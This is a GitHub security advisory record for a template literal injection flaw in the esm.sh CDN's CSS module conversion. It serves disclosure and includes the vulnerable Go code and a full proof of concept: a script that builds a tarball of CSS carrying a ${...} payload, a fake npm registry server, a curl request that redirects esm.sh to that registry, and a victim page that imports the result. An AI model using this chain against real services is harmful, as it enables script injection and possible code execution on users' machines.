{"id":"GHSA-hcpf-qv9m-vfgp","summary":"esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript","details":"### Summary\nThe esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. \n\nWhen a CSS file is requested with the `?module` query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. \n\nAn attacker can inject malicious JavaScript code using `${...}` expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.\n\n**Root Cause:** \nThe CSS module conversion logic (`router.go:1112-1119`) performs incomplete sanitization - it only checks for backticks (\\`) but fails to escape template literal expressions (`${...}`), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.\n\n### Details\n**File:** `server/router.go`  \n**Lines:** 1112-1119\n\n```go\n// Convert CSS to JavaScript module when ?module query is present\nif pathKind == RawFile && strings.HasSuffix(esm.SubPath, \".css\") && query.Has(\"module\") {\n    filename := path.Join(npmrc.StoreDir(), esm.Name(), \"node_modules\", esm.PkgName, esm.SubPath)\n    css, err := os.ReadFile(filename)\n    if err != nil {\n        return rex.Status(500, err.Error())\n    }\n    \n    buf := bytes.NewBufferString(\"/* esm.sh - css module */\\n\")\n    buf.WriteString(\"const stylesheet = new CSSStyleSheet();\\n\")\n    \n    if bytes.ContainsRune(css, '`') {\n        // If backtick exists: JSON encode (SAFE)\n        buf.WriteString(\"stylesheet.replaceSync(`\")\n        buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))\n        buf.WriteString(\");\\n\")\n    } else {\n        // If no backtick: Direct insertion (VULNERABLE!)\n        buf.WriteString(\"stylesheet.replaceSync(`\")\n        buf.Write(css)  // ← CSS inserted into template literal without sanitization!\n        buf.WriteString(\"`);\\n\")\n    }\n    \n    buf.WriteString(\"export default stylesheet;\\n\")\n    ctx.SetHeader(\"Content-Type\", ctJavaScript)\n    return buf\n}\n```\nWhen CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping `${...}` expressions. \nTemplate literals in JavaScript evaluate expressions within `${...}`, causing any such expressions in the CSS to execute as JavaScript code.\n\n### PoC\n\n### Step 1. Create Malicious Package (tar)\n```python\nimport tarfile\nimport io\nimport json\nfrom datetime import datetime\n\n# Malicious CSS with template literal injection\nevil_css = b\"\"\"\nbody {\n  background-color: #ffffff;\n  color: #333333;\n}\n\n.container {\n  max-width: 1200px;\n  margin: 0 auto;\n}\n\n/* js payload */\n${alert(1)} \n\n/* More CSS to appear legitimate */\n.footer {\n  margin-top: 20px;\n  padding: 10px;\n}\n\"\"\"\n\nfiles = {\n    \"package/index.js\": b\"module.exports = { version: '1.0.0' };\",\n    \"package/package.json\": json.dumps({\n        \"name\": \"test-css-injection\",\n        \"version\": \"1.0.0\",\n        \"description\": \"Test package for CSS injection\",\n        \"main\": \"index.js\"\n    }, indent=2).encode(),\n    \n    # Malicious CSS file\n    \"package/poc.css\": evil_css,\n}\n\nwith tarfile.open(\"test-css-injection-1.0.0.tgz\", \"w:gz\") as tar:\n    for name, content in files.items():\n        info = tarfile.TarInfo(name=name)\n        info.size = len(content)\n        info.mode = 0o644\n        info.mtime = int(datetime.now().timestamp())\n        tar.addfile(info, io.BytesIO(content))\n\nprint(\"Malicious CSS tarball created - test-css-injection-1.0.0.tgz\")\n```\n\n### Step 2. Run Fake Registry Server\n```python\n# fake-npm-registry.py\nfrom flask import Flask, jsonify, send_file\n\napp = Flask(__name__)\n\nMALICIOUS_TARBALL = \"/tmp/test-css-injection-1.0.0.tgz\" # HERE MALICIOUS TAR PATH\nREGISTRY_URL = \"http://host.docker.internal:9999\" # HERE FAKE REGISTRY SERVER\n\n@app.route('/\u003cpackage\u003e')\ndef get_metadata(package):\n    return jsonify({\n        \"name\": package,\n        \"versions\": {\n            \"1.0.0\": {\n                \"name\": package,\n                \"version\": \"1.0.0\",\n                \"dist\": {\n                    \"tarball\": f\"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz\"\n                }\n            }\n        },\n        \"dist-tags\": {\"latest\": \"1.0.0\"}\n    })\n\n@app.route('/\u003cpackage\u003e/-/\u003cfilename\u003e')\ndef get_tarball(package, filename):\n    return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=9999)\n```\n\n```bash\npython3 fake-npm-registry.py\n```\n\u003e Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)\n\n\n### Step 3. Request Malicious Package with X-Npmrc Header (File Upload)\n```bash\ncurl \"http://localhost:8080/test-tarslip@1.0.0\" \\\n  -H 'X-Npmrc: {\"registry\":\"http://host.docker.internal:9999/\"}'\n```\n\n### Step 4. Check Cross-site Script (alert(1))\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n    \u003cmeta charset=\"UTF-8\"\u003e\n    \u003ctitle\u003eCSS Injection Victim Page\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n    \u003cscript type=\"module\"\u003e\n        // esm.sh import\n        import styles from \"http://localhost:8080/test-css-injection@1.0.0/poc.css?module\";\n        \n        console.log('Styles loaded:', styles);\n    \u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\u003cimg width=\"1414\" height=\"238\" alt=\"image\" src=\"https://github.com/user-attachments/assets/acf00a7b-cad2-4af0-8885-9ba2433ba9fb\" /\u003e\n\n### in esm.sh Playground\n\u003cimg width=\"1568\" height=\"502\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b2cd56a9-930e-4e64-a05c-5df02682c897\" /\u003e\n\n\n\n### Impact\nCan execute arbitrary JavaScript.\nThis can sometimes lead to remote code execution.\n(Electron App, Deno App, ...)","aliases":["CVE-2025-65026","GO-2025-4139"],"modified":"2025-11-27T09:09:00.522842Z","published":"2025-11-19T20:31:55Z","database_specific":{"github_reviewed":true,"nvd_published_at":"2025-11-19T18:15:50Z","github_reviewed_at":"2025-11-19T20:31:55Z","cwe_ids":["CWE-94"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-65026"},{"type":"WEB","url":"https://github.com/esm-dev/esm.sh/commit/87d2f6497574bf4448641a5527a3ac2beba5fd6c"},{"type":"PACKAGE","url":"https://github.com/esm-dev/esm.sh"}],"affected":[{"package":{"name":"github.com/esm-dev/esm.sh","ecosystem":"Go","purl":"pkg:golang/github.com/esm-dev/esm.sh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20251118065157-87d2f6497574"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/11/GHSA-hcpf-qv9m-vfgp/GHSA-hcpf-qv9m-vfgp.json"}}],"schema_version":"1.7.3","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}]}